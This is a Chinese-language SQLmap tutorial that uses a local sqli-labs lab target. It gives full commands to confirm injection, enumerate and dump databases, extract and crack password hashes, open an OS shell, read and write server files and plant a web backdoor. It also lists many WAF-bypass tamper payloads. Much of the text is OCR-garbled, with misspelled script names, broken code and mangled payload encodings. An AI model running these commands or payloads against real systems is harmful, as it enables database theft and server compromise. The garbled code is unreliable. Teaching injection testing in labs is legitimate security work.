我们先准备一个靶机,我这里拿经典的SQL大观园靶机
我们再url后面传参http://192.168.98.100/sqli-labs/Less-1/?id=1
接下来我们用此url进行SQLmap的教学http://192.168.98.100/sqli-labs/Less-1/?id=1
一、SQLmap基础操作
1.判断是否存在注入
假设目标注入点是http://192.168.98.100/sqli-labs/Less-1/?id=1,判断具是否存在注入的命令如下所示.
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1
出现如下信息,显示存在注入
当注入点后面的绒大于等于两个时,需要加双引号,如下所示。
sqlmap.py -u "http://192.168.98.100/sqli-labs/Less-1/?id=1&uid=2"
可以看到,运行完判断是否存在注入的语句后,"爆出"一大段代码,下面来分析代码反馈给我们的信息。这里有三处需要选择的地方:第一处的意思为检测到数据 库可能是MySQL,是否需要学随检测其他数据库;第二处的意思是在"level risk"的情况下,是否使用MySQL对应的所有Payload进行检测;第三处的意思是参数ID存在漏洞,是否要继续检测其他参数,一般默认按回车键即可
2、判断文本中的请求是否存在注入
从文件中加载HTTP请求,SQLMap可以从一个文本文件中获取HTTP请求,这样就可以不设置其他参数(如cookie、POST数据等),txt文件中的内容为Web数据包
判断是否存在注入的命令如下所示,运行后的结果如图3-6所示,-r一般在存 在cookie注入时使用。
sqlmap.py -r desktop/1 .txt
3.查询当前用户下的所有数据库
确定网站存在注入后,用于查询当前用户下的所有数据库,如果当前用户有权限读取包含所有数据库列表信息的表,使用该命令就可以列出所有数据库,如图
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --dbs
查询出了17个数据库及所有数据库的库名。当继续注入时 --dbs缩写成-Dxxx,其意思是在XXX数据库中继续查询其他数据
4 .获取教据库中的表名
该命令的作用是查询完数据库后,查询指定数据库中所有的表名,如下所示.
如果在该命令中不加入-D参教来指定某一具体的数据库,那么SQLmap会列出教据库中所有库的表,如图
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 -D 2web --tables
可以看到2web数据库中拥有的1个表名。当继续注入时,--tables缩写成-T,意思是在某表中继续查询。
5、 获取表中的字段名
该命令的作用是查询完表名后,查询该表中所有的字段名,如下所示。运行该命令的结果
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 -D 2web -T article --columns
可以看到在2web数据库中的article表中一共有4个字段。在后续的注入中,--columns缩写成-C。
6、获取字段内容
该命令是查询完字段名之后,获取该字段中具体的数据信息,如下所示。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 -D 2web -T article -C author,i
d --dump
这里需要下载的数据是2web数据库里article表中author和id两个字段的值
7、获取数据库的所有用户
该命令的作用是列出教据库的所有用户,如下所示。在当前用户有权限读取包含所有用户的表的权限时,使用该命令就可以列出所有管理用户。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --users
可以看到,当前用户账号是root
8、获取数据库用户的密码
该命令的作用是列出数据库用户的密码,如下所示。如果当前用户有读取包含用户密码的权限,SQLMap会先列举出用户,然后列出Hash,并尝试破解。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --passwords
可以看到,密码使用MySQL5加密,可以在www.cmd5.com中自行解密。
9、获取当前网站数据库的名称
使用该命令可以列出当前网站使用的数据库,如下所示。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --current-db
从图中可以看到数据库是 security
10、获取当前网站数据库的用户名称
使用该命令可以列出当前网站使用的数据库用户,如下所示。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1
可以看到,用户是'root@localhost
二、SQLmap进阶操作
1、--level 5:探测等级
参数--level 5指需要执行的测试等级,一共有5个等级(1~5),可不加
level,默认是1.SQLMap使用的Payload可以在xml/payloads.xml中看至,也可以根据相应的格式添加自己的Payload,其中5级包含的Payload最多,会自动破解出cookie、XFF等头部注入。当然,level 5的运行速度也比较慢。
这个参数会影响测试的注入点,GET和POST的数据都会进行测试,HTTP cookie在level为2时就会测试,HTTP User-Agent/Referer头在level为3时就会测试。 总之,在不确定哪个Payload或参数为注入点时,为了保证全面性,建议使用高的level值,即5。
2、--is-dba:当前用户是否为管理权限
该命令用于查看当前账户是否为数据库管理员账户,如下所示,在本案例中输 入该命令,会返回Ture,如图示。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --is-dba
3、--roles:列出数据库管理员角色
该命令用于查看数据库用户的角色。如果当前用户有权限读取包含所有用户的 表,输入该命令会列举出每个用户的角色,也可以用-U参数指定想看哪个用户的角色。该命令仅适用于当前数据库是Oracle的时候。在本案例中输入该命令的结果如图
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --roles
4、--referer: HTTP Referer头
SQLMap可以在请求中伪造HTTP中的refer”当——level参数设定为3或3 以上时,会尝试对refere注入。可以使用refere命令来欺骗,如 --referer http:// www.baidu.com
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --level 3 --referer http://www
.baidu.com
5. --sql-shell:运行自定义SQL语句
该命令用于执行指定的SQL语句,如下所示,假设执行select * from users limit 0, 1语句,结果如图所示
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --level 3 --sql-shell
图3-17执行指定的SQL语句
6. --os-cmd, --os-shell:运行任意操作系统命令
在数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户 有权限使用特定的函数时,如果数据库为MySQL、PostgreSQL, SQLMap上传一个二进制库,包含用户自定义的函数sys_exec( )和sys_eval( ),那么创建的这两个函数 就可以执行系统命令。在Microsoft SQL Server中,SQLMap将使用xp_cmdshell存储过程,如果被禁用(在Microsoft SQL Server 2005及以上版本默认被禁制),则SQLMap会重新启用它;如果不存在,会自动创建.
用 --os-shell参数可以模拟一个真实的Shell,输入想执行的命令。当不能执行多语句时(比如PHP或ASP的后端数据库为MySQL),仍然可以使用INTO OUTFILE写进可写目录,创建一个Web后门. --os-shell支持ASP、ASR.NET、JSP 和PHP四种语言(要想执行改参数,需要有数据库管理员权限,也就 --is-dba的值要为True)。
7、--file-read:从数据库服务器中读取文件
该命令用于读取执行文件,当数据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,读取的文件可以是文本,也可 以是二进制文件.下面以Microsoft SQL Server 2005为例,复习--file-read参数的 用法。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 \ --file-read "C:/key.php" -v 1
如图,目标服务器的test.txt文件保存到了本地,可进入查看
8.--file-write --file-dest:上传文件到数据库服务器中
该命令用于写入本地文件到服务器中,当教据库为MySQL、PostgreSQL或Microsoft SQL Server,并且当前用户有权限使用特定的函数时,上传的文件可以是文本,也可以是二进制文件。下面以f MySQL的例子复习--file-write --file-dest参数的用法。
sqlmap.py -u http://192.168.98.100/sqli-labs/Less-1/?id=1 --file-write "C:/Users/cuiyi/Desktop/1.txt" --file-dest "C:/2.txt" -v 1
如图,把本地桌面的1.txt文件上传到服务器C盘下,命名为2.txt
三、SQLMap自带绕过脚本tamper的讲解
SQLmap在默认情况下除了使用CHAR ()函教防止出现单引号,没有对注入的数据进行修改,读者还可以使用--tamper参数对数据做修改来绕过WAF等设备, 其中大部分脚本主要用正则模块替换攻击载荷字符编码的方式尝试绕过WAF的检测规则,命令如下所示。
sqlmap.py http://example.com --tamper "模块名"
目前官方提供53个绕过脚本,下面是tamper脚本的格式。
不难看出,一个最小的tamper脚本结构为priority变量定义和
dependencies, tamper函数定义。
• priority定义脚本的优先级,用于有多个tamper脚本的情况。
• dependencies函数声明该脚本适用/不适用的范围,可以为空。
下面以一个转大写字符绕过的脚本为例,tampe绕过脚本主要由dependencies和tamper两个函数构成。def tamper (payload, **kwargs)函数接收playload和**kwargs返回一个Payload。下面这段代码的意思是通过正则匹配所有字符,将所有攻击载荷中的字符转换为大写字母。
def tamper(payload, ••kwargs): retVai = payload
if payload:
for match in re.finditer(r"[A-Za-z_]+", retVal):
word = match.group()
if word.upper() in kb.keywords:
retVal = retVal・replace(word, word.upper())
return retVal
下面介绍一些常用的tamper脚本
• apostrophemask.py
作用:将引号替换为UTF-8,用于过滤单引号。
使用脚本前的语句为:
1 ANDT='1
使用脚本后,语句为:
1 AND %EF%BC%871%EF%BC%87=%EF%BC%871
• base64encode.py
作用:替换为base64编码。
使用脚本前的语句为:
• ' AND SLEEP (5) #
使用脚本后,语句为:
MScgQU5EIFNMRUVQKDUplw= =
• multiplespaces.py
作用:围绕SQL关键字添加多个空格。
使用脚本前的语句为:
1 UNION SELECT foobar
使用脚本后,语句为:
1 UNION SELECT foobar
• space2plus.py
作用:用+号替换空格。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT + id + FROM + users
• nonrecursivereplacement.py
作用:作为双重查询语句,用双重语句替代预定义的SQL关键字(适用于非常弱的自定义过滤器,例如将SELECT替换为空)。
使用脚本前的语句为:
1 UNION SELECT 2-
使用脚本后,语句为:
1 UNIOUNIONN SELESELECTCT 2-
• space2randomblank.py
作用:将空格替换为其他有效字符。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%ODid%ODFROM%OAusers
• unionalltounion.py
作用:将UNION ALL SELECT替换为UNION SELECK
使用脚本前的语句为:
• 1 UNION ALL SELECT
使用脚本后,语句为:
• 1 UNION SELECT
• securesphere.py
作用:追加特制的字符串。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1 =1 and'Ohaving'^'Ohaving'
• spaceZhash.py
作用:将空格替换为#号,并添加Y随机字符串和换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1%23nVNaVoPYeva%0AAND%23ngNvzqu%0A9227=9227
• space2mssqlblank.py (mssql)
作用:将空格替换为其他空符号。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%0Eid%0DFROM%07users
• space2mssqlhash.py
作用:将空格替换为#号,并添加一个换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1 %23%0AAND%23%0A9227=9227
• between.py
作用:用NOT BETWEEN 0 AND替换大于号(>),用BETWEEN AND替换 号(=)-
使用脚本前的语句为:
• AND A > B-
使用脚本后,语句为:
1 AND A NOT BETWEEN 0 AND B-
使用脚本前的语句为:
1 AND A=B-
使用脚本后,语句为:
1 AND A BETWEEN B AND B-
• percentage.py
作用:ASP允许在每个字符前面添加一个%号。
使用脚本前的语句为:
SELECT FIELD FROM TABLE
使用脚本后,语句为:
%S%E%L%E%C%T%F%I%E%L%D%F%R%O%M%T%A% B%L%E
• sppassword.py
作用:从DBMS日志的自动模糊处理的有效载荷中追加sp_password。
使用脚本前的语句为:
1 AND 9227=9227-
使用脚本后,语句为:
1 AND 9227=9227 sp password
• charencode.py
作用:对给定的Payload全部字符使用UR函码(不处理已经编码的字符)。
使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%53%45%4c%45%43%54%20%46%49%45%4c
%44%20%46%52%4f%4d%20%54%41%42%4c%45
• randomcase.py
作用:随机大4房。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
InsERt
• charunicodeencode.py 作用:字符串unicode编码。
使用脚本前的语句为:
SELECT FIELD%20FROM TABLE
使用脚本后,语句为:
%u0053%u0045%u004c
%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c
%u0044%u0020 %u0046%u0052%u004f%u004d
%u0020%u0054%u0041%u0042%u004c%u0045
• spaceZcomment.py
作用:将空格替换为/**/。
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
S ELECT/**/id/**/FRO M/**/users
• equaltolike.py
作用:将等号替换为like。
使用脚本前的语句为:
SELECT * FROM users WHERE id=1
使用脚本后,语句为:
SELECT * FROM users WHERE id LIKE 1
• greatest py
作用:绕过对的过滤,用GREATEST替换大于号。
使用脚本前的语句为:
1 ANDA > B
使用脚本后,语句为:
• AND GREATEST (A, B + 1) =A
测试通过的数据库类型和版本:
• MySQL 4、MySQL 5.0和MySQL 5.5
• Oracle 10g
• PostgreSQL 8.3、PostgreSQL 8.4和PostgreSQL 9.0
• ifnull2ifisnull.py
作用:绕过5NIFNULL的过滤,替换类{以IFNULL (A, B)为IF (ISNULL (A) , B, A).
使用脚本前的语句为:
IFNULL (1, 2)
使用脚本后,语句为:
IF (ISNULL (1) , 2, 1)
测试通过的教据库类型和版本为MySQL 5.0和MySQL 5.5.
• modsecurityversioned.py
作用:过滤空格,使用MySQL内联胡的球进行以
使用脚本前的语句为:
1 AND 2>1-
使用脚本后,语句为:
1 /*! 30874AND 2>1*/-
测试通过的数据库类型和版本为MySQL 5.0。
• spaceZmysqlblank.py
作用:将空格替换为其他空白符号(适用于MySQL).
使用脚本前的语句为:
SELECT id FROM users
使用脚本后,语句为:
SELECT%AOid%OBFROM%OCusers
测试通过的数据库类型和版本为MySQL 5.1.
• modsecurityzeroversioned.py
作用:使用MySQL内联注释的方式(/*! 00000*/)进行注入。
使用脚本前的语句为:
1 AND 2>1-
使用脚本后,语句为:
1 /*! 00000AND 2>1*/-
测试通过的数据库类型和版本为MySQL 5.0。
• spaceZmysqldash.py
作用:将空格替换为——,并添加Y换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1 %0AAND %0A9227=9227
• bluecoat.py
作用:在SQL语句之后用有效的随机空白符替换空格符,随后用LIKE替换等于
使用脚本前的语句为:
SELECT id FROM users where id = 1
使用脚本后,语句为:
SELECT%09id FROM%09users WHERE%09id LIKE 1
测试通过的数据库类型和版本为MySQL 5.1和SGOS。
• versioned keywords.py
作用:注释绕过。
使用脚本前的语句为:
UNION ALL SELECT NULL, NULL, CONCAT (CHAR (58, 104, 116, 116, 58) , IFNULL (CAST (CURRENT USER () AS CHAR) , CHAR (32)), CH/**/AR (58, 100, 114, 117, 58) ) #
使用脚本后,语句为:
/*! UNION**! ALL*! SELECT**! NULL7, /*! NULL7, CONCAT (CHAR (58, 104, 116, 116, 58) , IFNULL (CAST (CURRENT USER () /*! AS**! CHAR*/) , CHAR (32) ) , CHAR (58, 100, 114, 117, 58) ) #
• halfversionedmorekeywords.py
作用:当数据库为MySQL时绕过防火墙,在每个关键字之前添加MySQL版本 注释。
使用脚本前的语句为:
value' UNION ALL SELECT CONCAT (CHAR (58, 107, 112, 113, 58) , IFNULL (CAST (CURRENT USER () AS CHAR) , CHAR (32) ) , CHAR (58, 97, 110, 121, 58) ) , NULL, NULL# AND 'QDWa^'QDWa
使用脚本后,语句为:
value'/*! 0UNION/*! OALL/*! OS ELECT/*! 0CONCAT (/*! 0CHAR (58, 107, 112, 113, 58) , /*! OIFN ULL (CAST (/*! OCURRENT USER () / *! OAS/*! OCHAR) , /*! OCHAR (32) ) , /*! OCHAR (58, 97, 110, 121, 5 8) ) , /*! ONULL, /*! ONULL#/*! 0AND'QDWa'='QDWa
测试通过的数据库类型和版本为MySQL 4.0.18和MySQL 5.0.22。
• space2morehash.py
作用:将空格替换为#号,并添加T随机字符串和换行符。
使用脚本前的语句为:
1 AND 9227=9227
使用脚本后,语句为:
1 %23ngNvzqu%0AAND%23nVNaVoPYeva%0A%23 lujYFWfv %0A9227=9227
测试通过的数据库类型和版本为MySQL 5.1.41。
• apostrophenullencode.py
作用:用非法双字节Unicode字符替换单引号。
使用脚本前的语句为:
1 ANDT='1
使用脚本后,语句为:
1 AND %00%271%00%27=%00%271
• appendnullbyte.py
作用:在有效负荷的结束位置加载零字节字符编码。
使用脚本前的语句为:
1 AND 1=1
使用脚本后,语句为:
1 AND 1=1 %00
• chardoubleencode.py
作用:对给定的Pay load全部字符使用双重URL编码(不处理已经编码的字 待)。
使用脚本前的语句为:
SELECT FIELD FROM%20TABLE
使用脚本后,语句为:
%2553%2545%254c
%2545%2543%2554%2520%2546%2549%2545%254c
%2544%2520%2546%2552%25 4f%254d%2520%2554%2541 %2542%254c %2545
• unmagicquotes.py
作用:用一个多字节组合(%bf%27)和末尾通用注释一起替换空格。
使用脚本前的语句为:
1' AND 1=1
使用脚本后,语句为:
1%bf%27-
• randomcomments.py
作用:用/**/分割SQL关键字。
使用脚本前的语句为:
INSERT
使用脚本后,语句为:
IN/**/s/**/ERT
虽然SQLMap自带的tamper可以做很多事情,但在实际环境中,往往比较复杂,可能会遇到很多情况,tamper不可能很全面地应对各种环境,所以建议读者在学 习如何使用自带的tamper的同时,最好能够掌握tamper的编写规则,这样在应对各种实战环境时才能更自如。